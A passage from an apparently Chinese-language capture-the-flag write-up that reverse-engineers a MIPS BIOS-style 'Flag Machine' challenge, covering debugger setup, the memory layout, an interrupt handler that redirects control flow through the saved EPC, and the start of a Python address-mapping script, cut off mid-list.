mips:4100            mips:5900            mips:isa32r2         mips:loongson_2f</span><br><span class="line">mips:10000           mips:4111            mips:6000            mips:isa32r3         mips:micromips</span><br><span class="line">mips:12000           mips:4120            mips:7000            mips:isa32r5         mips:mips5</span><br><span class="line">mips:14000           mips:4300            mips:8000            mips:isa32r6         mips:octeon</span><br><span class="line">mips:16              mips:4400            mips:9000            mips:isa64           mips:octeon+</span><br><span class="line">mips:16000           mips:4600            mips:gs264e          mips:isa64r2         mips:octeon2</span><br><span class="line">mips:3000            mips:4650            mips:gs464           mips:isa64r3         mips:octeon3</span><br><span class="line">mips:3900            mips:5000            mips:gs464e          mips:isa64r5         mips:sb1</span><br><span class="line">mips:4000            mips:5400            mips:interaptiv-mr2  mips:isa64r6         mips:xlr</span><br><span class="line">pwndbg&gt; <span class="built_in">set</span> architecture </span><br></pre></td></tr></table></figure><p>最后在 <code>run.sh</code> 加一个<code>-s</code>，这样在程序启动的时候就会连带启动 <code>gdbserver</code>了，接下来只需要在 gdb 里连接即可。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; target remote 127.0.0.1:1234</span><br></pre></td></tr></table></figure><p>到这里环境配置就完成了。</p><h2 id="内存布局">内存布局</h2><p>首先第一个难点是拖进IDA后我们并不知道内存布局，但是从第一行代码可以猜测基址是0xFC00000。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ROM:0FC00000                 .text # ROM</span><br><span class="line">ROM:0FC00000                 j       loc_FC01680</span><br><span class="line">ROM:0FC00004                 nop</span><br></pre></td></tr></table></figure><p>IDA rebase之后跟随跳转可以看到这样一行。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">li      $t0, 0xBFC01550</span><br></pre></td></tr></table></figure><p>因此大胆猜测实际基址是 0xBFC00000，设置之后可以看到 IDA左侧多了很多函数，所以这个基址应该是正确的。</p><p>接着继续跟随逻辑可以看到这样一个关键函数。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line">ROM:BFC015E4 sub_BFC015E4:                            # CODE XREF: sub_BFC00000+16C0↓p</span><br><span class="line">ROM:BFC015E4</span><br><span class="line">ROM:BFC015E4 var_18          = -0x18</span><br><span class="line">ROM:BFC015E4 addr80000000    = -0x14</span><br><span class="line">ROM:BFC015E4 var_10          = -0x10</span><br><span class="line">ROM:BFC015E4 var_8           = -8</span><br><span class="line">ROM:BFC015E4 var_4           = -4</span><br><span class="line">ROM:BFC015E4</span><br><span class="line">ROM:BFC015E4                 addiu   $sp, -0x28</span><br><span class="line">ROM:BFC015E8                 sw      $ra, 0x28+var_4($sp)</span><br><span class="line">ROM:BFC015EC                 sw      $fp, 0x28+var_8($sp)</span><br><span class="line">ROM:BFC015F0                 move    $fp, $sp</span><br><span class="line">ROM:BFC015F4                 lui     $v0, 0xBFC1</span><br><span class="line">ROM:BFC015F8                 sw      $v0, 0x28+var_18($fp)</span><br><span class="line">ROM:BFC015FC                 lui     $v0, 0x8000</span><br><span class="line">ROM:BFC01600                 sw      $v0, 0x28+addr80000000($fp)</span><br><span class="line">ROM:BFC01604                 sw      $zero, 0x28+var_10($fp)</span><br><span class="line">ROM:BFC01608                 b       loc_BFC0163C</span><br><span class="line">ROM:BFC0160C                 nop</span><br><span class="line">ROM:BFC01610  # ---------------------------------------------------------------------------</span><br><span class="line">ROM:BFC01610</span><br><span class="line">ROM:BFC01610 loc_BFC01610:                            # CODE XREF: sub_BFC015E4+60↓j</span><br><span class="line">ROM:BFC01610                 lw      $v1, 0x28+var_18($fp)</span><br><span class="line">ROM:BFC01614                 addiu   $v0, $v1, 4</span><br><span class="line">ROM:BFC01618                 sw      $v0, 0x28+var_18($fp)</span><br><span class="line">ROM:BFC0161C                 lw      $v0, 0x28+addr80000000($fp)</span><br><span class="line">ROM:BFC01620                 addiu   $a0, $v0, 4</span><br><span class="line">ROM:BFC01624                 sw      $a0, 0x28+addr80000000($fp)</span><br><span class="line">ROM:BFC01628                 lw      $v1, 0($v1)</span><br><span class="line">ROM:BFC0162C                 sw      $v1, 0($v0)</span><br><span class="line">ROM:BFC01630                 lw      $v0, 0x28+var_10($fp)</span><br><span class="line">ROM:BFC01634                 addiu   $v0, 1</span><br><span class="line">ROM:BFC01638                 sw      $v0, 0x28+var_10($fp)</span><br><span class="line">ROM:BFC0163C</span><br><span class="line">ROM:BFC0163C loc_BFC0163C:                            # CODE XREF: sub_BFC015E4+24↑j</span><br><span class="line">ROM:BFC0163C                 lw      $v0, 0x28+var_10($fp)</span><br><span class="line">ROM:BFC01640                 slti    $v0, 0x1000</span><br><span class="line">ROM:BFC01644                 bnez    $v0, loc_BFC01610</span><br><span class="line">ROM:BFC01648                 nop</span><br><span class="line">ROM:BFC0164C                 li      $v0, 0x80000500</span><br><span class="line">ROM:BFC01654                 jalr    $v0</span><br><span class="line">ROM:BFC01658                 nop</span><br><span class="line">ROM:BFC0165C                 nop</span><br><span class="line">ROM:BFC01660                 move    $sp, $fp</span><br><span class="line">ROM:BFC01664                 lw      $ra, 0x28+var_4($sp)</span><br><span class="line">ROM:BFC01668                 lw      $fp, 0x28+var_8($sp)</span><br><span class="line">ROM:BFC0166C                 addiu   $sp, 0x28</span><br><span class="line">ROM:BFC01670                 jr      $ra</span><br><span class="line">ROM:BFC01674                 nop</span><br><span class="line">ROM:BFC01674  # End of function sub_BFC015E4</span><br></pre></td></tr></table></figure><p>刚才说过，这个 flash 文件是作为 bios运行的，因此这里需要先把用户态的代码加载到指定位置。不难看出这里是把0xBFC10000 - 0xBFC14000 这 0x4000 字节的代码加载到了 0x80000000的位置然后跳转到 0x80000500开始执行，因此接下来我选择把原文件拆成两份分别加载到 IDA 中。</p><p>到这里文件的大致内存布局就非常清晰了。</p><h2 id="中断">中断</h2><p>跳转到 0x80000500 后第一件事是设置了 Compare 和 Count 寄存器。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">ROM:80000564 sub_80000564:                            # CODE XREF: ROM:80000500↑p</span><br><span class="line">ROM:80000564                                          # ROM:80002668↓p</span><br><span class="line">ROM:80000564                 li      $t0, 0x1000</span><br><span class="line">ROM:80000568                 mtc0    $t0, Compare     # Timer Compare</span><br><span class="line">ROM:8000056C                 mtc0    $zero, Count     # Timer Count</span><br><span class="line">ROM:80000570                 jr      $ra</span><br><span class="line">ROM:80000574                 nop</span><br></pre></td></tr></table></figure><p>这里根据 google，mips 处理器会不断增加 Count 寄存器的计数，当 Count等于 Compare 的时候会触发一个中断。</p><p>接下来程序在加载了 Welcome 字符串后就原地死循环了。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">ROM:80000D34 loc_80000D34:                            # CODE XREF: ROM:80000518↑j</span><br><span class="line">ROM:80000D34                 addiu   $sp, -0x20</span><br><span class="line">ROM:80000D38                 sw      $ra, 0x1C($sp)</span><br><span class="line">ROM:80000D3C                 sw      $fp, 0x18($sp)</span><br><span class="line">ROM:80000D40                 move    $fp, $sp</span><br><span class="line">ROM:80000D44                 lui     $v0, 0x8000</span><br><span class="line">ROM:80000D48                 addiu   $a0, $v0, (aWelcomeToFlagM - 0x80000000)  # &quot;Welcome to Flag Machine&quot;</span><br><span class="line">ROM:80000D4C                 mtc0    $zero, Count     # Timer Count</span><br><span class="line">ROM:80000D50</span><br><span class="line">ROM:80000D50 loc_80000D50:                            # CODE XREF: ROM:loc_80000D50↓j</span><br><span class="line">ROM:80000D50                 b       loc_80000D50</span><br></pre></td></tr></table></figure><p>这里就非常有意思了，程序的控制流进入了死循环，但是我们明明看到字符串被正常输出了出来，是怎么办到的呢？我一开始也完全不理解，后来联想到上面的Count 和 Compare寄存器我突然有了答案：是通过中断的方式来改变控制流。</p><p>那另一个问题就来了，根据 x86的知识，应该有一张中断表来保存不同中断子程序的入口，那么 mips上中断子程序的入口在哪呢？经过我一阵 google 后，我终于找到了原来 mips的中断处理入口固定为 0x80000180，用 IDA 定义函数一看：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br></pre></td><td class="code"><pre><span class="line">ROM:80000180 interrupt:</span><br><span class="line">ROM:80000180</span><br><span class="line">ROM:80000180 arg_0           =  0</span><br><span class="line">ROM:80000180 arg_4           =  4</span><br><span class="line">ROM:80000180 arg_8           =  8</span><br><span class="line">ROM:80000180 arg_C           =  0xC</span><br><span class="line">ROM:80000180 arg_10          =  0x10</span><br><span class="line">ROM:80000180 arg_14          =  0x14</span><br><span class="line">ROM:80000180 arg_18          =  0x18</span><br><span class="line">ROM:80000180 arg_1C          =  0x1C</span><br><span class="line">ROM:80000180 arg_20          =  0x20</span><br><span class="line">ROM:80000180 arg_24          =  0x24</span><br><span class="line">ROM:80000180 arg_28          =  0x28</span><br><span class="line">ROM:80000180 arg_2C          =  0x2C</span><br><span class="line">ROM:80000180 arg_30          =  0x30</span><br><span class="line">ROM:80000180 arg_34          =  0x34</span><br><span class="line">ROM:80000180 arg_38          =  0x38</span><br><span class="line">ROM:80000180 arg_3C          =  0x3C</span><br><span class="line">ROM:80000180 arg_40          =  0x40</span><br><span class="line">ROM:80000180 arg_44          =  0x44</span><br><span class="line">ROM:80000180 arg_48          =  0x48</span><br><span class="line">ROM:80000180 arg_4C          =  0x4C</span><br><span class="line">ROM:80000180 arg_50          =  0x50</span><br><span class="line">ROM:80000180 arg_54          =  0x54</span><br><span class="line">ROM:80000180 arg_58          =  0x58</span><br><span class="line">ROM:80000180 arg_5C          =  0x5C</span><br><span class="line">ROM:80000180 arg_60          =  0x60</span><br><span class="line">ROM:80000180 arg_6C          =  0x6C</span><br><span class="line">ROM:80000180 arg_70          =  0x70</span><br><span class="line">ROM:80000180 arg_74          =  0x74</span><br><span class="line">ROM:80000180 arg_78          =  0x78</span><br><span class="line">ROM:80000180 arg_7C          =  0x7C</span><br><span class="line">ROM:80000180 arg_80          =  0x80</span><br><span class="line">ROM:80000180 arg_84          =  0x84</span><br><span class="line">ROM:80000180</span><br><span class="line">ROM:80000180                 move    $k1, $sp</span><br><span class="line">ROM:80000184                 li      $sp, 0x8043FF6C</span><br><span class="line">ROM:8000018C                 sw      $at, arg_0($sp)</span><br><span class="line">ROM:80000190                 sw      $v0, arg_4($sp)</span><br><span class="line">ROM:80000194                 sw      $v1, arg_8($sp)</span><br><span class="line">ROM:80000198                 sw      $a0, arg_C($sp)</span><br><span class="line">ROM:8000019C                 sw      $a1, arg_10($sp)</span><br><span class="line">ROM:800001A0                 sw      $a2, arg_14($sp)</span><br><span class="line">ROM:800001A4                 sw      $a3, arg_18($sp)</span><br><span class="line">ROM:800001A8                 sw      $t0, arg_1C($sp)</span><br><span class="line">ROM:800001AC                 sw      $t1, arg_20($sp)</span><br><span class="line">ROM:800001B0                 sw      $t2, arg_24($sp)</span><br><span class="line">ROM:800001B4                 sw      $t3, arg_28($sp)</span><br><span class="line">ROM:800001B8                 sw      $t4, arg_2C($sp)</span><br><span class="line">ROM:800001BC                 sw      $t5, arg_30($sp)</span><br><span class="line">ROM:800001C0                 sw      $t6, arg_34($sp)</span><br><span class="line">ROM:800001C4                 sw      $t7, arg_38($sp)</span><br><span class="line">ROM:800001C8                 sw      $s0, arg_3C($sp)</span><br><span class="line">ROM:800001CC                 sw      $s1, arg_40($sp)</span><br><span class="line">ROM:800001D0                 sw      $s2, arg_44($sp)</span><br><span class="line">ROM:800001D4                 sw      $s3, arg_48($sp)</span><br><span class="line">ROM:800001D8                 sw      $s4, arg_4C($sp)</span><br><span class="line">ROM:800001DC                 sw      $s5, arg_50($sp)</span><br><span class="line">ROM:800001E0                 sw      $s6, arg_54($sp)</span><br><span class="line">ROM:800001E4                 sw      $s7, arg_58($sp)</span><br><span class="line">ROM:800001E8                 sw      $t8, arg_5C($sp)</span><br><span class="line">ROM:800001EC                 sw      $t9, arg_60($sp)</span><br><span class="line">ROM:800001F0                 sw      $gp, arg_6C($sp)</span><br><span class="line">ROM:800001F4                 sw      $k1, arg_70($sp)</span><br><span class="line">ROM:800001F8                 sw      $fp, arg_74($sp)</span><br><span class="line">ROM:800001FC                 sw      $ra, arg_78($sp)</span><br><span class="line">ROM:80000200                 mfc0    $t0, EPC         # Exception Program Counter</span><br><span class="line">ROM:80000204                 sw      $t0, arg_7C($sp)</span><br><span class="line">ROM:80000208                 mfc0    $t0, ErrorEPC    # Error Exception Program Counter</span><br><span class="line">ROM:8000020C                 sw      $t0, arg_80($sp)</span><br><span class="line">ROM:80000210                 mfc0    $t0, SR          # Status register</span><br><span class="line">ROM:80000214                 sw      $t0, arg_84($sp)</span><br><span class="line">ROM:80000218                 addi    $a0, $sp, 0</span><br><span class="line">ROM:8000021C                 lw      $k0, off_80003D20</span><br><span class="line">ROM:80000224                 jalr    $k0</span><br><span class="line">ROM:80000228                 nop</span><br><span class="line">ROM:8000022C                 nop</span><br><span class="line">ROM:80000230                 lw      $t0, arg_7C($sp)</span><br><span class="line">ROM:80000234                 mtc0    $t0, EPC         # Exception Program Counter</span><br><span class="line">ROM:80000238                 lw      $t0, arg_80($sp)</span><br><span class="line">ROM:8000023C                 mtc0    $t0, ErrorEPC    # Error Exception Program Counter</span><br><span class="line">ROM:80000240                 lw      $t0, arg_84($sp)</span><br><span class="line">ROM:80000244                 mtc0    $t0, SR          # Status register</span><br><span class="line">ROM:80000248                 lw      $v0, arg_4($sp)</span><br><span class="line">ROM:8000024C                 lw      $v1, arg_8($sp)</span><br><span class="line">ROM:80000250                 lw      $a0, arg_C($sp)</span><br><span class="line">ROM:80000254                 lw      $a1, arg_10($sp)</span><br><span class="line">ROM:80000258                 lw      $a2, arg_14($sp)</span><br><span class="line">ROM:8000025C                 lw      $a3, arg_18($sp)</span><br><span class="line">ROM:80000260                 lw      $t0, arg_1C($sp)</span><br><span class="line">ROM:80000264                 lw      $t1, arg_20($sp)</span><br><span class="line">ROM:80000268                 lw      $t2, arg_24($sp)</span><br><span class="line">ROM:8000026C                 lw      $t3, arg_28($sp)</span><br><span class="line">ROM:80000270                 lw      $t4, arg_2C($sp)</span><br><span class="line">ROM:80000274                 lw      $t5, arg_30($sp)</span><br><span class="line">ROM:80000278                 lw      $t6, arg_34($sp)</span><br><span class="line">ROM:8000027C                 lw      $t7, arg_38($sp)</span><br><span class="line">ROM:80000280                 lw      $s0, arg_3C($sp)</span><br><span class="line">ROM:80000284                 lw      $s1, arg_40($sp)</span><br><span class="line">ROM:80000288                 lw      $s2, arg_44($sp)</span><br><span class="line">ROM:8000028C                 lw      $s3, arg_48($sp)</span><br><span class="line">ROM:80000290                 lw      $s4, arg_4C($sp)</span><br><span class="line">ROM:80000294                 lw      $s5, arg_50($sp)</span><br><span class="line">ROM:80000298                 lw      $s6, arg_54($sp)</span><br><span class="line">ROM:8000029C                 lw      $s7, arg_58($sp)</span><br><span class="line">ROM:800002A0                 lw      $t8, arg_5C($sp)</span><br><span class="line">ROM:800002A4                 lw      $t9, arg_60($sp)</span><br><span class="line">ROM:800002A8                 lw      $gp, arg_6C($sp)</span><br><span class="line">ROM:800002AC                 lw      $k1, arg_70($sp)</span><br><span class="line">ROM:800002B0                 lw      $fp, arg_74($sp)</span><br><span class="line">ROM:800002B4                 lw      $ra, arg_78($sp)</span><br><span class="line">ROM:800002B8                 move    $sp, $k1</span><br><span class="line">ROM:800002BC                 eret</span><br><span class="line">ROM:800002BC  # End of function interrupt</span><br></pre></td></tr></table></figure><p>先保存所有寄存器，再恢复所有寄存器，明显是中断子程序了。</p><p>到这里疑问其实只解决了一半，因为通常的中断在完成后回立即返回原来的上下文，也就是原来的位置，如果没有特殊处理的话中断之后仍然会回到死循环的位置，所以这里的中断子程序应该有一些特殊的处理。又是一番google，原来 mips 在发生中断的时候会把返回地址保存在 EPC中，而上面的中断子程序中 EPC的值是存在栈上的，也就是说只要修改了栈上的值，结束中断后返回的地址也会发生变化（其实就类似线程调度的底层实现）。想到这个地方基本上就可以说豁然开朗了，把断点分别设置在<code>jalr    $k0</code> 前后，成功观察到 <code>arg_7C($sp)</code>值发生了变化，所以我们的推测应该是正确的，接下来就是把这里地址变换的逻辑逆出来了。</p><p>这里跟踪 <code>jalr    $k0</code>，发现最后关键是调用了一个<code>syscall</code>又回到了内核态，继续跟踪可以看到逻辑还算比较清晰，在第一次进入的时候初始化地址映射，然后根据特定的算法计算映射后的地址。我没有太多的耐心逆向具体的算法，我选择直接把地址映射表dump 出来然后实现地址计算的方法，脚本如下。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pp</span>(<span class="params">l</span>):</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> l:</span><br><span class="line">        <span class="built_in">print</span>(<span class="built_in">hex</span>(i))</span><br><span class="line"></span><br><span class="line">addr2000 = [</span><br><span class="line">    <span class="number">0x800287c0</span>,  <span class="number">0x80028004</span>,  <span class="number">0xbfc01550</span></span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">addr2800 = []</span><br><span class="line"></span><br><span class="line">bs = <span class="built_in">open</span>(<span class="string">&quot;28000.dump&quot;</span>, <span class="string">&quot;rb+&quot;</span>).read()</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(bs)//<span class="number">4</span>):</span><br><span class="line">    addr2800.append(struct.unpack(<span class="string">&quot;&gt;I&quot;</span>, bs[<span class="number">4</span>*i:<span class="number">4</span>*(i+<span class="number">1</span>)])[<span class="number">0</span>])</span><br><span class="line"></span><br><span class="line"><span class="comment">#https://stackoverflow.com/questions/27506474/how-to-byte-swap-a-32-bit-integer-in-python</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">swap32</span>(<span class="params">i</span>):</span><br><span class="line">    <span class="keyword">return</span> struct.unpack(<span class="string">&quot;&lt;I&quot;</span>, struct.pack(<span class="string">&quot;&gt;I&quot;</span>, i))[<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line">addr = <span class="number">0x80000610</span></span><br><span class="line"></span><br><span class="line">x = <span class="number">0xD3ABC0DE</span></span><br><span class="line"></span><br><span class="line">epc_xor = addr ^ x</span><br><span class="line"></span><br><span class="line">xored_list = [<span class="number">0x7EC5AB53</span>, <span class="number">0xFEE9AB53</span>, <span class="number">0x6EC5AB53</span>, <span class="number">0xEAE9AB53</span>, <span class="number">0x12C5AB53</span>, <span class="number">0x96E9AB53</span>, <span class="number">0x32C5AB53</span>, <span class="number">0x82E9AB53</span>, <span class="number">0xCEC6AB53</span>, <span class="number">0xAEE9AB53</span>, <span class="number">0xFEC6AB53</span>, <span class="number">0x5AE9AB53</span>, <span class="number">0xEEC6AB53</span>, <span class="number">0x46E9AB53</span>, <span class="number">0x96C6AB53</span>, <span class="number">0x72E9AB53</span>, <span class="number">0xBEC6AB53</span>, <span class="number">0x1EE9AB53</span>, <span class="number">0xAEC6AB53</span>, <span class="number">0x0AE9AB53</span>, <span class="number">0x4EC6AB53</span>, <span class="number">0x36E9AB53</span>, <span class="number">0x62C6AB53</span>, <span class="number">0x22E9AB53</span>, <span class="number">0x12C6AB53</span>, <span class="number">0xCEEAAB53</span>, <span class="number">0x3EC6AB53</span>, <span class="number">0xFAEAAB53</span>, <span class="number">0xDEC7AB53</span>, <span class="number">0xE6EAAB53</span>, <span class="number">0xE6C7AB53</span>, <span class="number">0x92EAAB53</span>, <span class="number">0x96C7AB53</span>, <span class="number">0xBEEAAB53</span>, <span class="number">0x52C7AB53</span>, <span class="number">0xAAEAAB53</span>, <span class="number">0x16C7AB53</span>, <span class="number">0x56EAAB53</span>, <span class="number">0xCAC8AB53</span>, <span class="number">0x42EAAB53</span>, <span class="number">0xEAC8AB53</span>, <span class="number">0x6EEAAB53</span>, <span class="number">0xA6C8AB53</span>, <span class="number">0x1AEAAB53</span>, <span class="number">0x46C8AB53</span>, <span class="number">0x06EAAB53</span>, <span class="number">0x7AC8AB53</span>, <span class="number">0x32EAAB53</span>, <span class="number">0x6AC8AB53</span>, <span class="number">0xDEEBAB53</span>, <span class="number">0x06C8AB53</span>, <span class="number">0xCAEBAB53</span>, <span class="number">0x3AC8AB53</span>, <span class="number">0xF6EBAB53</span>, <span class="number">0x2EC8AB53</span>, <span class="number">0xE2EBAB53</span>, <span class="number">0xDEC9AB53</span>, <span class="number">0x8EEBAB53</span>, <span class="number">0xFAC9AB53</span>, <span class="number">0xBAEBAB53</span>, <span class="number">0xEEC9AB53</span>, <span class="number">0xA6EBAB53</span>, <span class="number">0xE2C9AB53</span>, <span class="number">0x52EBAB53</span>, <span class="number">0x92C9AB53</span>, <span class="number">0x7EEBAB53</span>, <span class="number">0xA6C9AB53</span>, <span class="number">0x6AEBAB53</span>, <span class="number">0x5AC9AB53</span>, <span class="number">0x16EBAB53</span>, <span class="number">0x66C9AB53</span>, <span class="number">0x02EBAB53</span>, <span class="number">0x1AC9AB53</span>, <span class="number">0x2EEBAB53</span>, <span class="number">0x0EC9AB53</span>, <span class="number">0xDAECAB53</span>, <span class="number">0x3EC9AB53</span>, <span class="number">0xC6ECAB53</span>, <span class="number">0xD6CAAB53</span>, <span class="number">0xF2ECAB53</span>, <span class="number">0xCACAAB53</span>, <span class="number">0x9EECAB53</span>, <span class="number">0xFECAAB53</span>, <span class="number">0x8AECAB53</span>, <span class="number">0xEECAAB53</span>, <span class="number">0xB6ECAB53</span>, <span class="number">0x82CAAB53</span>, <span class="number">0xA2ECAB53</span>, <span class="number">0xB6CAAB53</span>, <span class="number">0x4EECAB53</span>, <span class="number">0x7ACAAB53</span>, <span class="number">0x7AECAB53</span>, <span class="number">0x66CAAB53</span>, <span class="number">0x66ECAB53</span>, <span class="number">0x2ACAAB53</span>, <span class="number">0x12ECAB53</span>, <span class="number">0xEECBAB53</span>, <span class="number">0x3EECAB53</span>, <span class="number">0x9ACBAB53</span>, <span class="number">0x2AECAB53</span>, <span class="number">0x5ECBAB53</span>, <span class="number">0xD6EDAB53</span>, <span class="number">0x7ECBAB53</span>, <span class="number">0xC2EDAB53</span>, <span class="number">0x16CBAB53</span>, <span class="number">0xEEEDAB53</span>, <span class="number">0xD2CCAB53</span>, <span class="number">0x9AEDAB53</span>, <span class="number">0xC6CCAB53</span>, <span class="number">0x86EDAB53</span>, <span class="number">0xEACCAB53</span>, <span class="number">0xB2EDAB53</span>, <span class="number">0x9ECCAB53</span>, <span class="number">0x5EEDAB53</span>, <span class="number">0x92CCAB53</span>, <span class="number">0x4AEDAB53</span>, <span class="number">0xBACCAB53</span>, <span class="number">0x76EDAB53</span>, <span class="number">0xAECCAB53</span>, <span class="number">0x62EDAB53</span>, <span class="number">0xA2CCAB53</span>, <span class="number">0x0EEDAB53</span>, <span class="number">0x4ECCAB53</span>, <span class="number">0x3AEDAB53</span>, <span class="number">0x7ACCAB53</span>, <span class="number">0x26EDAB53</span>, <span class="number">0x16CCAB53</span>, <span class="number">0xD2EEAB53</span>, <span class="number">0xF2CDAB53</span>, <span class="number">0xFEEEAB53</span>, <span class="number">0x8ECDAB53</span>, <span class="number">0xEAEEAB53</span>, <span class="number">0xBACDAB53</span>, <span class="number">0x96EEAB53</span>, <span class="number">0xAACDAB53</span>, <span class="number">0x82EEAB53</span>, <span class="number">0x52CDAB53</span>, <span class="number">0xAEEEAB53</span>, <span class="number">0x66CDAB53</span>, <span class="number">0x5AEEAB53</span>, <span class="number">0x1ACDAB53</span>, <span class="number">0x46EEAB53</span>, 